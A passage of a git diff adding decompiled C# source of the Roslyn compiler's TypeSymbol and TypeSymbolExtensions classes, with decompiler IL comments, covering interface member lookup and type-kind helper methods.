while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.Kind != interfaceMember.Kind) + { + continue; + } + bool value = flag.HasValue; + if (value) + { + MethodKind methodKind2 = ((MethodSymbol)current).MethodKind; + bool flag2 = (((int)methodKind2 == 2 || (int)methodKind2 == 9) ? true : false); + value = flag2 != (flag == true); + } + if (!value) + { + if (IsInterfaceMemberImplementation(current, interfaceMember, implementingTypeIsFromSomeCompilation)) + { + implicitImpl = current; + break; + } + if ((object)closeMismatch == null && implementingTypeIsFromSomeCompilation && MemberSignatureComparer.CSharpCloseImplicitImplementationComparer.Equals(interfaceMember, current)) + { + closeMismatch = current; + } + } + } + } + + private static bool IsInterfaceMemberImplementation(Symbol candidateMember, Symbol interfaceMember, bool implementingTypeIsFromSomeCompilation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)candidateMember.DeclaredAccessibility != 6 || candidateMember.IsStatic != interfaceMember.IsStatic) + { + return false; + } + if (HaveInitOnlyMismatch(candidateMember, interfaceMember)) + { + return false; + } + if (implementingTypeIsFromSomeCompilation) + { + return MemberSignatureComparer.CSharpImplicitImplementationComparer.Equals(interfaceMember, candidateMember); + } + return MemberSignatureComparer.RuntimeImplicitImplementationComparer.Equals(interfaceMember, candidateMember); + } + + protected ValueSet GetExplicitImplementationForInterfaceMember(Symbol interfaceMember) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + InterfaceInfo interfaceInfo = GetInterfaceInfo(); + if (interfaceInfo == s_noInterfaces) + { + return default(ValueSet); + } + if (interfaceInfo.explicitInterfaceImplementationMap == null) + { + Interlocked.CompareExchange(ref interfaceInfo.explicitInterfaceImplementationMap, MakeExplicitInterfaceImplementationMap(), null); + } + return interfaceInfo.explicitInterfaceImplementationMap[interfaceMember]; + } + + private MultiDictionary MakeExplicitInterfaceImplementationMap() + { + MultiDictionary val = new MultiDictionary((IEqualityComparer)ExplicitInterfaceImplementationTargetMemberEqualityComparer.Instance); + ImmutableArray.Enumerator enumerator = GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + ImmutableArray.Enumerator enumerator2 = current.GetExplicitInterfaceImplementations().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + val.Add(current2, current); + } + } + return val; + } + + protected MethodSymbol? GetBodyOfSynthesizedInterfaceMethodImpl(MethodSymbol interfaceMethod) + { + InterfaceInfo interfaceInfo = GetInterfaceInfo(); + if (interfaceInfo == s_noInterfaces) + { + return null; + } + if (interfaceInfo.synthesizedMethodImplMap == null) + { + Interlocked.CompareExchange(ref interfaceInfo.synthesizedMethodImplMap, makeSynthesizedMethodImplMap(), null); + } + if (interfaceInfo.synthesizedMethodImplMap.TryGetValue(interfaceMethod, out MethodSymbol value)) + { + return value; + } + return null; + ImmutableDictionary makeSynthesizedMethodImplMap() + { + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(ExplicitInterfaceImplementationTargetMemberEqualityComparer.Instance); + foreach (var (value2, key) in SynthesizedInterfaceMethodImpls()) + { + builder.Add(key, value2); + } + return builder.ToImmutable(); + } + } + + internal abstract IEnumerable<(MethodSymbol Body, MethodSymbol Implemented)> SynthesizedInterfaceMethodImpls(); + + private ImmutableHashSet ComputeAbstractMembers() + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Invalid comparison between Unknown and I4 + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Invalid comparison between Unknown and I4 + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Invalid comparison between Unknown and I4 + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Invalid comparison between Unknown and I4 + ImmutableHashSet immutableHashSet = ImmutableHashSet.Create(); + ImmutableHashSet immutableHashSet2 = ImmutableHashSet.Create(); + ImmutableArray.Enumerator enumerator = GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (IsAbstract && current.IsAbstract && (int)current.Kind != 11) + { + immutableHashSet = immutableHashSet.Add(current); + } + Symbol symbol = null; + SymbolKind kind = current.Kind; + if ((int)kind != 5) + { + if ((int)kind != 9) + { + if ((int)kind == 15) + { + symbol = ((PropertySymbol)current).OverriddenProperty; + } + } + else + { + symbol = ((MethodSymbol)current).OverriddenMethod; + } + } + else + { + symbol = ((EventSymbol)current).OverriddenEvent; + } + if ((object)symbol != null) + { + immutableHashSet2 = immutableHashSet2.Add(symbol); + } + } + if ((object)BaseTypeNoUseSiteDiagnostics != null && BaseTypeNoUseSiteDiagnostics.IsAbstract) + { + foreach (Symbol abstractMember in BaseTypeNoUseSiteDiagnostics.AbstractMembers) + { + if (!immutableHashSet2.Contains(abstractMember)) + { + immutableHashSet = immutableHashSet.Add(abstractMember); + } + } + } + return immutableHashSet; + } + + [Obsolete("Use TypeWithAnnotations.Is method.", true)] + internal bool Equals(TypeWithAnnotations other) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/TypeSymbol.cs", 2418); + } + + public static bool Equals(TypeSymbol? left, TypeSymbol? right, TypeCompareKind comparison) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return left?.Equals(right, comparison) ?? ((object)right == null); + } + + [Obsolete("Use 'TypeSymbol.Equals(TypeSymbol, TypeSymbol, TypeCompareKind)' method.", true)] + public static bool operator ==(TypeSymbol left, TypeSymbol right) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/TypeSymbol.cs", 2435); + } + + [Obsolete("Use 'TypeSymbol.Equals(TypeSymbol, TypeSymbol, TypeCompareKind)' method.", true)] + public static bool operator !=(TypeSymbol left, TypeSymbol right) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/TypeSymbol.cs", 2439); + } + + [Obsolete("Use 'TypeSymbol.Equals(TypeSymbol, TypeSymbol, TypeCompareKind)' method.", true)] + public static bool operator ==(Symbol left, TypeSymbol right) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/TypeSymbol.cs", 2443); + } + + [Obsolete("Use 'TypeSymbol.Equals(TypeSymbol, TypeSymbol, TypeCompareKind)' method.", true)] + public static bool operator !=(Symbol left, TypeSymbol right) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/TypeSymbol.cs", 2447); + } + + [Obsolete("Use 'TypeSymbol.Equals(TypeSymbol, TypeSymbol, TypeCompareKind)' method.", true)] + public static bool operator ==(TypeSymbol left, Symbol right) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/TypeSymbol.cs", 2451); + } + + [Obsolete("Use 'TypeSymbol.Equals(TypeSymbol, TypeSymbol, TypeCompareKind)' method.", true)] + public static bool operator !=(TypeSymbol left, Symbol right) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/TypeSymbol.cs", 2455); + } + + internal ITypeSymbol GetITypeSymbol(NullableAnnotation nullableAnnotation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Expected O, but got Unknown + if (nullableAnnotation == DefaultNullableAnnotation) + { + return (ITypeSymbol)base.ISymbol; + } + return CreateITypeSymbol(nullableAnnotation); + } + + protected abstract ITypeSymbol CreateITypeSymbol(NullableAnnotation nullableAnnotation); + + ITypeSymbol ITypeSymbolInternal.GetITypeSymbol() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return GetITypeSymbol(DefaultNullableAnnotation); + } + + internal abstract bool HasInlineArrayAttribute(out int length); + + internal FieldSymbol? TryGetPossiblyUnsupportedByLanguageInlineArrayElementField() + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + FieldSymbol fieldSymbol = null; + if ((int)TypeKind == 10) + { + foreach (FieldSymbol item in ((NamedTypeSymbol)this).OriginalDefinition.GetFieldsToEmit()) + { + if (!item.IsStatic) + { + if ((object)fieldSymbol != null) + { + return null; + } + fieldSymbol = item; + } + } + } + if ((object)fieldSymbol != null && fieldSymbol.ContainingType.IsGenericType) + { + fieldSymbol = fieldSymbol.AsMember((NamedTypeSymbol)this); + } + return fieldSymbol; + } + + internal FieldSymbol? TryGetInlineArrayElementField() + { + FieldSymbol fieldSymbol = TryGetPossiblyUnsupportedByLanguageInlineArrayElementField(); + if ((object)fieldSymbol == null || !IsInlineArrayElementFieldSupported(fieldSymbol)) + { + return null; + } + return fieldSymbol; + } + + internal static bool IsInlineArrayElementFieldSupported(FieldSymbol elementField) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + if ((object)elementField != null && (int)elementField.RefKind == 0) + { + return !elementField.IsFixedSizeBuffer; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeSymbolExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeSymbolExtensions.cs new file mode 100644 index 0000000..f44f73d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/TypeSymbolExtensions.cs @@ -0,0 +1,2530 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class TypeSymbolExtensions +{ + private static readonly string[] s_expressionsNamespaceName = new string[4] { "Expressions", "Linq", "System", "" }; + + private static readonly Func s_containsTypeParameterPredicate = (TypeSymbol type, TypeParameterSymbol? parameter, bool unused) => (int)type.TypeKind == 11 && ((object)parameter == null || TypeSymbol.Equals(type, parameter, (TypeCompareKind)0)); + + private static readonly Func s_isTypeParameterWithSpecificContainerPredicate = (TypeSymbol type, Symbol parameterContainer, bool unused) => (int)type.TypeKind == 11 && (object)type.ContainingSymbol == parameterContainer; + + private static readonly Func, bool, bool> s_containsTypeParametersPredicate = (TypeSymbol type, HashSet parameters, bool unused) => (int)type.TypeKind == 11 && parameters.Contains((TypeParameterSymbol)type); + + private static readonly Func s_containsMethodTypeParameterPredicate = (TypeSymbol type, object? _, bool _) => (int)type.TypeKind == 11 && type.ContainingSymbol is MethodSymbol; + + private static readonly Func s_containsDynamicPredicate = (TypeSymbol type, object? unused1, bool unused2) => (int)type.TypeKind == 4; + + public static bool ImplementsInterface(this TypeSymbol subType, TypeSymbol superInterface, ref CompoundUseSiteInfo useSiteInfo) + { + ImmutableArray.Enumerator enumerator = subType.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (current.IsInterface && TypeSymbol.Equals(current, superInterface, (TypeCompareKind)0)) + { + return true; + } + } + return false; + } + + public static bool CanBeAssignedNull(this TypeSymbol type) + { + if (!type.IsReferenceType && !type.IsPointerOrFunctionPointer()) + { + return type.IsNullableType(); + } + return true; + } + + public static bool CanContainNull(this TypeSymbol type) + { + if (type.IsValueType) + { + return type.IsNullableTypeOrTypeParameter(); + } + return true; + } + + public static bool CanBeConst(this TypeSymbol typeSymbol) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (!typeSymbol.IsReferenceType && !typeSymbol.IsEnumType() && !typeSymbol.SpecialType.CanBeConst()) + { + return typeSymbol.IsNativeIntegerType; + } + return true; + } + + public static bool IsTypeParameterDisallowingAnnotationInCSharp8(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)type.TypeKind != 11) + { + return false; + } + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)type; + if (!typeParameterSymbol.IsValueType) + { + if (typeParameterSymbol.IsReferenceType) + { + return typeParameterSymbol.IsNotNullable != true; + } + return true; + } + return false; + } + + public static bool IsPossiblyNullableReferenceTypeTypeParameter(this TypeSymbol type) + { + if (type is TypeParameterSymbol { IsValueType: false, IsNotNullable: var isNotNullable } && isNotNullable.HasValue) + { + return isNotNullable != true; + } + return false; + } + + public static bool IsNonNullableValueType(this TypeSymbol typeArgument) + { + if (!typeArgument.IsValueType) + { + return false; + } + return !typeArgument.IsNullableTypeOrTypeParameter(); + } + + public static bool IsVoidType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)type.SpecialType == 6; + } + + public static bool IsNullableTypeOrTypeParameter(this TypeSymbol? type) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + if ((object)type == null) + { + return false; + } + if ((int)type.TypeKind == 11) + { + ImmutableArray.Enumerator enumerator = ((TypeParameterSymbol)type).ConstraintTypesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.Type.IsNullableTypeOrTypeParameter()) + { + return true; + } + } + return false; + } + return type.IsNullableType(); + } + + public static bool IsNullableType(this TypeSymbol type) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + return (int)type.OriginalDefinition.SpecialType == 32; + } + + public static bool IsValidNullableTypeArgument(this TypeSymbol type) + { + if ((object)type != null && type.IsValueType && !type.IsNullableType() && !type.IsPointerOrFunctionPointer()) + { + return !type.IsRestrictedType(); + } + return false; + } + + public static TypeSymbol GetNullableUnderlyingType(this TypeSymbol type) + { + return type.GetNullableUnderlyingTypeWithAnnotations().Type; + } + + public static bool IsNullableType(this TypeSymbol? type, [NotNullWhen(true)] out TypeSymbol? underlyingType) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + if (type is NamedTypeSymbol namedTypeSymbol && (int)namedTypeSymbol.OriginalDefinition.SpecialType == 32) + { + underlyingType = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type; + return true; + } + underlyingType = null; + return false; + } + + public static TypeWithAnnotations GetNullableUnderlyingTypeWithAnnotations(this TypeSymbol type) + { + return ((NamedTypeSymbol)type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0]; + } + + public static TypeSymbol StrippedType(this TypeSymbol type) + { + if (!type.IsNullableType()) + { + return type; + } + return type.GetNullableUnderlyingType(); + } + + public static TypeSymbol EnumUnderlyingTypeOrSelf(this TypeSymbol type) + { + return type.GetEnumUnderlyingType() ?? type; + } + + public static bool IsNativeIntegerOrNullableThereof(this TypeSymbol? type) + { + return type?.StrippedType().IsNativeIntegerType ?? false; + } + + public static bool IsObjectType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)type.SpecialType == 1; + } + + public static bool IsStringType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + return (int)type.SpecialType == 20; + } + + public static bool IsCharType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)type.SpecialType == 8; + } + + public static bool IsIntegralType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return SpecialTypeExtensions.IsIntegralType(type.SpecialType); + } + + public static NamedTypeSymbol? GetEnumUnderlyingType(this TypeSymbol? type) + { + if (!(type is NamedTypeSymbol namedTypeSymbol)) + { + return null; + } + return namedTypeSymbol.EnumUnderlyingType; + } + + public static bool IsEnumType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)type.TypeKind == 5; + } + + public static bool IsValidEnumType(this TypeSymbol type) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + NamedTypeSymbol enumUnderlyingType = type.GetEnumUnderlyingType(); + if ((object)enumUnderlyingType != null) + { + return (int)enumUnderlyingType.SpecialType > 0; + } + return false; + } + + public static bool IsValidAttributeParameterType(this TypeSymbol type, CSharpCompilation compilation) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + return (int)type.GetAttributeParameterTypedConstantKind(compilation) > 0; + } + + public static TypedConstantKind GetAttributeParameterTypedConstantKind(this TypeSymbol type, CSharpCompilation compilation) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Expected I4, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Invalid comparison between Unknown and I4 + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Invalid comparison between Unknown and I4 + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + TypedConstantKind val = (TypedConstantKind)0; + if ((object)type == null) + { + return (TypedConstantKind)0; + } + if ((int)type.Kind == 1) + { + ArrayTypeSymbol arrayTypeSymbol = (ArrayTypeSymbol)type; + if (!arrayTypeSymbol.IsSZArray) + { + return (TypedConstantKind)0; + } + val = (TypedConstantKind)4; + type = arrayTypeSymbol.ElementType; + } + if (type.IsEnumType()) + { + if ((int)val == 0) + { + val = (TypedConstantKind)2; + } + type = type.GetEnumUnderlyingType(); + } + TypedConstantKind typedConstantKind = TypedConstant.GetTypedConstantKind((ITypeSymbolInternal)(object)type, (Compilation)(object)compilation); + switch ((int)typedConstantKind) + { + case 0: + case 2: + case 4: + return (TypedConstantKind)0; + default: + if ((int)val == 4 || (int)val == 2) + { + return val; + } + return typedConstantKind; + } + } + + public static bool IsValidExtensionParameterType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + TypeKind typeKind = type.TypeKind; + if ((int)typeKind == 4 || (int)typeKind == 9 || (int)typeKind == 13) + { + return false; + } + return true; + } + + public static bool IsInterfaceType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)type.Kind == 11) + { + return ((NamedTypeSymbol)type).IsInterface; + } + return false; + } + + public static bool IsClassType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)type.TypeKind == 2; + } + + public static bool IsStructType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + return (int)type.TypeKind == 10; + } + + public static bool IsErrorType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)type.Kind == 4; + } + + public static bool IsMethodTypeParameter(this TypeParameterSymbol p) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + return (int)p.ContainingSymbol.Kind == 9; + } + + public static bool IsDynamic(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)type.TypeKind == 4; + } + + public static bool IsTypeParameter(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + return (int)type.TypeKind == 11; + } + + public static bool IsArray(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)type.TypeKind == 1; + } + + public static bool IsSZArray(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)type.TypeKind == 1) + { + return ((ArrayTypeSymbol)type).IsSZArray; + } + return false; + } + + internal static bool IsArrayInterface(this TypeSymbol type, out TypeWithAnnotations typeArgument) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Invalid comparison between Unknown and I4 + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + TypeWithAnnotations typeWithAnnotations = default(TypeWithAnnotations); + bool flag; + if (type is NamedTypeSymbol { OriginalDefinition: { SpecialType: var specialType } } namedTypeSymbol && (specialType - 25 <= 2 || specialType - 30 <= 1)) + { + ImmutableArray typeArgumentsWithAnnotationsNoUseSiteDiagnostics = namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics; + if (typeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length == 1) + { + typeWithAnnotations = typeArgumentsWithAnnotationsNoUseSiteDiagnostics[0]; + flag = true; + goto IL_004c; + } + } + flag = false; + goto IL_004c; + IL_004c: + if (flag) + { + typeArgument = typeWithAnnotations; + return true; + } + typeArgument = default(TypeWithAnnotations); + return false; + } + + public static bool IsFunctionPointer(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + return (int)type.TypeKind == 13; + } + + public static bool IsPointerOrFunctionPointer(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + TypeKind typeKind = type.TypeKind; + if ((int)typeKind == 9 || (int)typeKind == 13) + { + return true; + } + return false; + } + + internal static ImmutableArray GetAllInterfacesOrEffectiveInterfaces(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + TypeKind typeKind = type.TypeKind; + if ((int)typeKind != 2 && (int)typeKind != 10) + { + if ((int)typeKind == 11) + { + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)type; + return ImmutableArrayExtensions.Concat(typeParameterSymbol.EffectiveBaseClassNoUseSiteDiagnostics.AllInterfacesNoUseSiteDiagnostics, typeParameterSymbol.AllEffectiveInterfacesNoUseSiteDiagnostics); + } + return ImmutableArray.Empty; + } + return type.AllInterfacesNoUseSiteDiagnostics; + } + + public static NamedTypeSymbol? GetDelegateType(this TypeSymbol? type) + { + if ((object)type == null) + { + return null; + } + if (type.IsExpressionTree()) + { + type = ((NamedTypeSymbol)type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type; + } + if (!type.IsDelegateType()) + { + return null; + } + return (NamedTypeSymbol)type; + } + + public static TypeSymbol? GetDelegateOrFunctionPointerType(this TypeSymbol? type) + { + return (TypeSymbol?)(((object)type.GetDelegateType()) ?? ((object)(type as FunctionPointerTypeSymbol))); + } + + public static bool IsExpressionTree(this TypeSymbol type) + { + bool isGenericType; + return type.IsGenericOrNonGenericExpressionType(out isGenericType) && isGenericType; + } + + public static bool IsNonGenericExpressionType(this TypeSymbol type) + { + if (type.IsGenericOrNonGenericExpressionType(out var isGenericType)) + { + return !isGenericType; + } + return false; + } + + public static bool IsGenericOrNonGenericExpressionType(this TypeSymbol _type, out bool isGenericType) + { + if (_type.OriginalDefinition is NamedTypeSymbol { Name: var name } namedTypeSymbol) + { + if (!(name == "Expression")) + { + if (name == "LambdaExpression" && IsNamespaceName(namedTypeSymbol.ContainingSymbol, s_expressionsNamespaceName) && namedTypeSymbol.Arity == 0) + { + isGenericType = false; + return true; + } + } + else if (IsNamespaceName(namedTypeSymbol.ContainingSymbol, s_expressionsNamespaceName)) + { + if (namedTypeSymbol.Arity == 0) + { + isGenericType = false; + return true; + } + if (namedTypeSymbol.Arity == 1 && namedTypeSymbol.MangleName) + { + isGenericType = true; + return true; + } + } + } + isGenericType = false; + return false; + } + + public static bool IsPossibleArrayGenericInterface(this TypeSymbol type) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + if (!(type is NamedTypeSymbol { OriginalDefinition: var originalDefinition })) + { + return false; + } + SpecialType specialType = originalDefinition.SpecialType; + if ((int)specialType == 26 || (int)specialType == 27 || (int)specialType == 25 || (int)specialType == 30 || (int)specialType == 31) + { + return true; + } + return false; + } + + internal static bool IsErrorTypeOrRefLikeType(this TypeSymbol type) + { + if (!type.IsErrorType()) + { + return type.IsRefLikeType; + } + return true; + } + + private static bool IsNamespaceName(Symbol symbol, string[] names) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind != 12) + { + return false; + } + for (int i = 0; i < names.Length; i++) + { + if ((object)symbol == null || symbol.Name != names[i]) + { + return false; + } + symbol = symbol.ContainingSymbol; + } + return true; + } + + public static bool IsDelegateType(this TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + return (int)type.TypeKind == 3; + } + + public static ImmutableArray DelegateParameters(this TypeSymbol type) + { + return type.DelegateInvokeMethod()?.Parameters ?? default(ImmutableArray); + } + + public static ImmutableArray DelegateOrFunctionPointerParameters(this TypeSymbol type) + { + if (type is FunctionPointerTypeSymbol functionPointerTypeSymbol) + { + FunctionPointerMethodSymbol signature = functionPointerTypeSymbol.Signature; + if ((object)signature != null) + { + return signature.Parameters; + } + } + return type.DelegateParameters(); + } + + public static bool TryGetElementTypesWithAnnotationsIfTupleType(this TypeSymbol type, out ImmutableArray elementTypes) + { + if (type.IsTupleType) + { + elementTypes = ((NamedTypeSymbol)type).TupleElementTypesWithAnnotations; + return true; + } + elementTypes = default(ImmutableArray); + return false; + } + + public static MethodSymbol? DelegateInvokeMethod(this TypeSymbol type) + { + return type.GetDelegateType().DelegateInvokeMethod; + } + + public static ConstantValue? GetDefaultValue(this TypeSymbol type) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected I4, but got Unknown + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + if (type.IsErrorType()) + { + return null; + } + if (type.IsReferenceType) + { + return ConstantValue.Null; + } + if (type.IsValueType) + { + type = type.EnumUnderlyingTypeOrSelf(); + SpecialType specialType = type.SpecialType; + switch (specialType - 7) + { + case 14: + if (!type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 15: + if (!type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 0: + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + case 10: + case 11: + case 12: + return ConstantValue.Default(type.SpecialType); + } + } + return null; + } + + public static SpecialType GetSpecialTypeSafe(this TypeSymbol? type) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return (SpecialType)(((_003F?)type?.SpecialType) ?? 0); + } + + public static bool IsAtLeastAsVisibleAs(this TypeSymbol type, Symbol sym, ref 